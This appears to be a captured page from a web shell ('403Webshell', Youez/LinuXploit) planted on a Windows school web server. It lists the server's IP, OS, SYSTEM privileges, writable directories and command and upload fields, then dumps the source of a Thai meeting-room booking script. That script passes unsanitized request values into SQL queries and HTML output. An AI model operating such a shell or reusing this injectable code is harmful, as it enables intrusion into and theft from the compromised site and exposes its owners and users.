403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/benjama/modules/calendar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/benjama/modules/calendar/addevent.php
<?
//print_r($_POST);

CheckUser($_SESSION['user_user'], $_SESSION['user_pwd']);
?>
<link href="style_p.css" rel="stylesheet" type="text/css" />
<script type="text/javascript">
function myoffice(val, group_num)
{
if(val==true)
{
	document.getElementById("group"+group_num+"").style.display="";
}
else
{
	document.getElementById("group"+group_num+"").style.display="none";
}

}
</script>
<script language="JavaScript">

//******************************************
function checkregis() {
  
if(document.myform.chk1.checked == false && document.myform.chk2.checked == false && document.myform.chk3.checked == false  )   
{        
alert('คุณไม่ได้เลือกการปฏิบัติหน้าที่ ');       
return false;    
} 

//********************************************
}
</script>
<?
if($_GET[op] == "calendar_add"){
	if(CheckLevelUser($_SESSION['user_user'],$_GET[op])){
		if (!$_POST[EventDate] OR !$_POST[subject] OR !$_POST[DETAIL] OR !$_POST[ROOM]){
			echo "<script language='javascript'>" ;
			echo "alert('กรุณากรอกข้อมูลต่างๆให้ครบถ้วน')" ;
			echo "</script>" ;
			echo "<script language='javascript'>javascript:history.back()</script>";
			exit();
	}
	if($_POST[ROOM] == 999) $_POST[ROOM] = $_POST[ROOMO];
	//ตรวจสอบมี user นี้หรือยัง
	$res[calendar] = $db->select_query($sql= "SELECT id FROM ".TB_CALENDAR." WHERE room='".$_POST[ROOM]."' and date_event='".$_POST[EventDate]."' " .
	" and '".$_POST[TIMEIN]."' <= timeout and '".$_POST[times]."' >= timein ");
	//echo $sql ;
	$rows[calendar] = $db->rows($res[calendar]); 

		if($rows[calendar]){
			$ProcessOutput .= "<BR><BR>";
			$ProcessOutput .= "<CENTER>";
			$ProcessOutput .= "<BR><BR><B>มีการจองห้องประชุม วันนี้ เวลา นี้แล้ว</B><BR><BR><INPUT TYPE=\"submit\" VALUE=\"เขียนจองห้องใหม่ \" onclick=\"window.location='?name=calendar&file=addevent'\">";
			$ProcessOutput .= "</CENTER>";
			$ProcessOutput .= "<BR><BR>";
		} else {
				$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
				$db->add_db(TB_CALENDAR,array(
					"date_event"=>"".$_POST[EventDate]."",
					"room"=>"".$_POST[ROOM]."",
					"timein"=>"".$_POST[TIMEIN]."",
					"timeout"=>"".$_POST[times]."",
					"subject"=>"".$_POST[subject]."",
					"detail"=>"".$_POST[DETAIL]."",
					"person"=>"".$_POST[PERSON]."",
					"snackbox"=>"".$_POST[snackbox]."",
					"chair"=>"".$_POST[CHAIR]."",
					"desk"=>"".$_POST[DESK]."",
					"microphone"=>"".$_POST[MICROPHONE]."",
					"projector"=> ($_POST[PROJECTOR] == 'on'),
					"visual"=> ($_POST[VISUAL] == 'on'),
					"notebook"=> ($_POST[NOTEBOOK] == 'on'),
					"dvd"=> ($_POST[DVD] == 'on'),
					"notebooksound"=> ($_POST[NOTEBOOKSOUND] == 'on'),
					"other"=>"".$_POST[OTHER]."",
					"post_date"=>"".TIMESTAMP.""
				));
			$nums=$_POST[num];
			$is=1;
			for($i=1;$i<$nums;$i++){
				$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
						$Date=date($_POST[EventDate]); // วันปัจจุบัน สมมุติว่าวันที่ 2006-01-25
						$DateUpdate =date("Y-m-d", strtotime("+$is day",strtotime($Date))); // บวกไปอีก10วัน 
						$sub=$_POST[subject];
						$id=$i+1;
						$subs="".$_POST[subject]."  (วันที่ $id)";
				$db->add_db(TB_CALENDAR,array(
					"date_event"=>"".$DateUpdate."",
					"room"=>"".$_POST[ROOM]."",
					"timein"=>"".$_POST[TIMEIN]."",
					"timeout"=>"".$_POST[times]."",
					"subject"=>"".$subs."",
					"detail"=>"".$_POST[DETAIL]."",
					"person"=>"".$_POST[PERSON]."",
					"snackbox"=>"".$_POST[snackbox]."",
					"chair"=>"".$_POST[CHAIR]."",
					"desk"=>"".$_POST[DESK]."",
					"microphone"=>"".$_POST[MICROPHONE]."",
					"projector"=> ($_POST[PROJECTOR] == 'on'),
					"visual"=> ($_POST[VISUAL] == 'on'),
					"notebook"=> ($_POST[NOTEBOOK] == 'on'),
					"dvd"=> ($_POST[DVD] == 'on'),
					"notebooksound"=> ($_POST[NOTEBOOKSOUND] == 'on'),
					"other"=>"".$_POST[OTHER]."",
					"post_date"=>"".TIMESTAMP.""
				));
				$is++;
			} 
		
			$ProcessOutput .= "<BR><BR>";
			$ProcessOutput .= "<CENTER><A HREF=\"?name=admin&file=main\"><IMG SRC=\"images/icon/login-welcome.gif\" BORDER=\"0\"></A><BR><BR>";
			$ProcessOutput .= "<FONT COLOR=\"#336600\"><B>ได้ทำการเพิ่ม รายการปฏิทิน เรียบร้อยแล้ว</B></FONT>";
			$ProcessOutput .= "<BR><BR><INPUT TYPE=\"submit\" VALUE=\" จองห้องประชุม \" onclick=\"window.location='?name=calendar&file=addevent'\">";
			$ProcessOutput .= "</form></CENTER>";
			$ProcessOutput .= "</CENTER>";
			$ProcessOutput .= "<BR><BR>";
} 
	echo $ProcessOutput ;
	}
}

else if($_GET[op] == "calendar_edit"){
	$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
	$res[event] = $db->select_query("SELECT * FROM ".TB_CALENDAR." WHERE id='".$_GET[id]."' ");
	$arr[event] = $db->fetch($res[event]);

	if (!$arr[event][id]){
		echo "<script language='javascript'>" ;
		echo "alert('ไม่มีรายการที่ต้องการแก้ไข')" ;
		echo "</script>" ;
		echo "<script language='javascript'>javascript:history.back()</script>";
		exit();
	}
	if(isset($_POST[submit])){
		$db->update_db(TB_CALENDAR,array(
			"date_event"=>"".$_POST[EventDate]."",
			"room"=>"".$_POST[ROOM]."",
			"timein"=>"".$_POST[TIMEIN]."",
			"timeout"=>"".$_POST[times]."",
			"subject"=>"".$_POST[subject]."",
			"detail"=>"".$_POST[DETAIL]."",
			"snackbox"=>"".$_POST[snackbox]."",
			"chair"=>"".$_POST[CHAIR]."",
			"desk"=>"".$_POST[DESK]."",
			"microphone"=>"".$_POST[MICROPHONE]."",
			"projector"=> ($_POST[PROJECTOR] == 'on'),
			"visual"=> ($_POST[VISUAL] == 'on'),
			"notebook"=> ($_POST[NOTEBOOK] == 'on'),
			"dvd"=> ($_POST[DVD] == 'on'),
			"notebooksound"=> ($_POST[NOTEBOOKSOUND] == 'on'),
			"other"=>"".$_POST[OTHER]."",
			"update_date"=>"".TIMESTAMP.""
		)," id='".$_POST[id]."' ");
		$res[event] = $db->select_query("SELECT * FROM ".TB_CALENDAR." WHERE id='".$_GET[id]."' ");
		$arr[event] = $db->fetch($res[event]);
		}
}
else { //check op

}

if($_GET[op] == "" || $_GET[op] == "calendar_edit" ){
?>
<script type="text/javascript" src="datepicker.js"></script>
	<TABLE cellSpacing=0 cellPadding=0 width=700 border=0 background="images/1234.jpg">
      <TBODY>
        <TR>
          <TD vAlign=top>
					<B>&nbsp;&nbsp;<IMG SRC="images/add.gif" BORDER="0" ALIGN="absmiddle">&nbsp;&nbsp; เพิ่มรายการจองห้องประชุม </B>
					<BR><BR>
<?
	$getop = ($_GET[op] == "calendar_edit") ? "calendar_edit&id=".$_GET[id] : "calendar_add" ;
?>
<form NAME="myform" METHOD=POST ACTION="?name=calendar&file=addevent&op=<? echo $getop ; ?>">
<input type=hidden name='id' value=<? echo $arr[event][id] ; ?>>
<table width="700" height="438" >
  <tr> 
    <td width="200" height="20"   align="right"valign="top"><b>เลือกห้องประชุม :</b></td>
    <td  align="left" valign="top">
	<select name="ROOM" onchange="roomother(this);">
	<option></option> 
<?
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$res[meeting] = $db->select_query("SELECT * FROM ".TB_MEETING."  ORDER BY id ");
   while ($arr[meeting] = $db->fetch($res[meeting]))
   {	
	   $selected = ( $arr[meeting][name] == $arr[event][room] ) ? " selected " : " " ;
		echo "<option value=\"".$arr[meeting][name]."\" $selected >".$arr[meeting][name]."</option>";
   }
   $selected = ($selected =="")? " selected " : " " ;
   echo "<option value=\"999\" $selected >สถานที่อื่นๆ(โปรดระบุ)</option>";
?>
     </select>
	<INPUT TYPE="text" NAME="ROOMO" id=troomother style="width=100">
	</td>
  </tr>
<script>
function roomother(el){
	var to = document.getElementById('troomother');
	if(el.value == 999){
		to.style.visibility = "visible";
	}
	else{
		to.style.visibility = "hidden";
	}
}
</script>
  <tr> 
    <td  align="right" height="20" valign="top"><b>เลือกวันที่ :</b></td>
    <td  align="left" valign="top">
	<input name="EventDate" readonly value="<? echo $arr[event][date_event] ; ?>" style="width=200"> <IMG SRC="images/admin/dateselect.gif" BORDER="0" ALT="เลือกวันที่" onclick="displayDatePicker('EventDate', false, 'ymd', '-');" align="absmiddle">
	</td>
  </tr>
  <tr> 
    <td  align="right" height="20" valign="top"><strong>เวลา :</strong></td>
    <td align="left" valign="top">
<select NAME="TIMEIN" style="width=100">
	<option></option> 
	<?
for ($i=6 ; $i < 21 ; $i++) {
	echo "<option> $i.00 </option> ";
	echo "<option> $i.30 </option> ";
}
?>

	</select>
	 ถึง 
<select NAME="times" style="width=100">
		<option></option> 
		<?
for ($i=8 ; $i < 21 ; $i++) {
	echo "<option> $i.00 </option> ";
	echo "<option> $i.30 </option> ";
}
		?>
		</select>
	</td>
  </tr>
 <tr> 
    <td height="22" align="right" valign="top"><strong>จำนวนวัน :</strong></td>
    <td align="left" valign="top">
	<INPUT TYPE="text" NAME="num" style="width=100"> *( ในกรณีที่กิจกรรมดำเนินการหลายวัน )
	</td>
  </tr>
  <tr> 
    <td  height="20" align="right" valign="top"><strong>เรื่อง :</strong></td>
    <td align="left" valign="top">
<textarea  cols=60 id="subject" rows="2" class="ckeditor"  name="subject" ><? echo $arr[event][subject] ; ?></textarea>
	</td>
  </tr>
<tr> 
    <td height="20" align="right" valign="top"><strong>จำนวนผู้เข้าประชุม :</strong></td>
    <td align="left" valign="top">
	<INPUT TYPE="text" name="DETAIL" style="width=100"  value="<? echo $arr[event][detail] ; ?>"> คน
	</td>
</tr>
<tr> 
    <td height="18" align="right" valign="top"><strong>อาหารว่างและเครื่องดื่ม :</strong></td>
    <td height="18" align="left" valign="top">
		<INPUT TYPE="text" name="snackbox" style="width=100" value="<? echo $arr[event]['snackbox'] ; ?>"> ชุด
	</td>
</tr>
<tr> 
    <td height="18" align="right" valign="top"><strong>เก้าอี้ :</strong></td>
    <td height="18" align="left" valign="top">
		<INPUT TYPE="text" name="CHAIR" style="width:70" value="<? echo $arr[event][chair] ; ?>"> ตัว &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
		<strong>โต๊ะ :</strong>
		<INPUT TYPE="text" name="DESK" style="width:70" value="<? echo $arr[event][desk] ; ?>"> ตัว
	</td>
</tr>

<tr> 
    <td height="18" align="right" valign="top"><strong>เครื่องขยายเสียงและไมโครโฟน :</strong></td>
    <td height="18" align="left" valign="top">
		<INPUT TYPE="text" name="MICROPHONE" style="width:70"  value="<? echo $arr[event][microphone] ; ?>"> ตัว
	</td>
</tr>
<tr> 
    <td height="18" align="right" valign="top">	</td>
    <td height="18" align="left" valign="top">
	<INPUT TYPE="checkbox" name="PROJECTOR" <? if( $arr[event]['projector']) echo ' checked ' ; ?>> Projector &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
	<INPUT TYPE="checkbox" name="VISUAL"    <? if( $arr[event]['visual']) echo ' checked ' ; ?>> Visuallizer &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
	<INPUT TYPE="checkbox" name="NOTEBOOK"  <? if( $arr[event]['notebook']) echo ' checked ' ; ?>> Notebook
	</td>
</tr>
<tr> 
    <td height="18" align="right" valign="top">	</td>
    <td height="18" align="left" valign="top">
	<INPUT TYPE="checkbox" name="DVD"           <? if( $arr[event]['dvd']) echo ' checked ' ; ?>> เครื่องเล่น DVD &nbsp; &nbsp; &nbsp;
	<INPUT TYPE="checkbox" name="NOTEBOOKSOUND" <? if( $arr[event]['notebooksound']) echo ' checked ' ; ?>> เสียงจาก Notebook
	</td>
</tr>

<tr> 
    <td height="18" align="right" valign="top"><strong>อื่นๆ โประระบุ :</strong></td>
    <td height="18" align="left" valign="top">
	<textarea  cols=60 id="other" rows="3" class="ckeditor"  name="OTHER" ><? echo $arr[event][other] ; ?></textarea>
	</td>
</tr>





	<tr>
	<td> </td>
	<td>
 <?
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE username='".$_SESSION['user_user']."' ");
		$arr[user] = $db->fetch($res[user]);
?>
	<INPUT TYPE="hidden" name="PERSON" VALUE="<?=$arr[user][id];?>" style="width=350">
<BR>
<input type="submit" value="บันทึกจองห้อง" name="submit">
	</td>
  </tr>
 
</table>
</form>
<?	
	echo $ProcessOutput ;
}
?>
					</TD>
				</TR>
			</TABLE>
	<?
			$db->closedb ();
	?>

Youez - 2016 - github.com/yon3zu
LinuXploit